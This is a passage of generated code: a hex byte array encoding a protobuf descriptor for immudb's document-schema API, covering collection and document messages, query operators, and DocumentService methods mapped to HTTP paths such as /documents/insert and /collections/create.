0x52, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, - 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, - 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, - 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, - 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, - 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, - 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, - 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, - 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, - 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, - 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, - 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, - 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, - 0x47, 0x10, 0x02, 0x32, 0xf3, 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 